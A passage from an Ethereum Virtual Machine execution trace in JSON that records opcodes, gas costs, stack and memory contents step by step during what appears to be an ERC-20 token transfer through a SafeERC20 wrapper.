":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28887,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28882,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28879,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0x301b9e718879e2ea4f8","0xbf0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3056,"op":"JUMPDEST","gas":28871,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3057,"op":"PUSH2","gas":28870,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3060,"op":"SWAP2","gas":28867,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0x301b9e718879e2ea4f8","0xbfa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3061,"op":"SWAP1","gas":28864,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3062,"op":"PUSH2","gas":28861,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3065,"op":"JUMP","gas":28858,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x1ff8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8184,"op":"JUMPDEST","gas":28850,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8185,"op":"PUSH1","gas":28849,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8187,"op":"DUP3","gas":28846,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8188,"op":"DUP3","gas":28843,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8189,"op":"LT","gas":28840,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8190,"op":"ISZERO","gas":28837,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8191,"op":"PUSH2","gas":28834,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8194,"op":"JUMPI","gas":28831,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0","0x1","0x200a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8202,"op":"JUMPDEST","gas":28821,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8203,"op":"POP","gas":28820,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8204,"op":"SUB","gas":28818,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8205,"op":"SWAP1","gas":28815,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbfa","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8206,"op":"JUMP","gas":28812,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x301b9e718879e2ea4f8","0xbfa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3066,"op":"JUMPDEST","gas":28804,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3067,"op":"SWAP1","gas":28803,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3068,"op":"POP","gas":28800,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c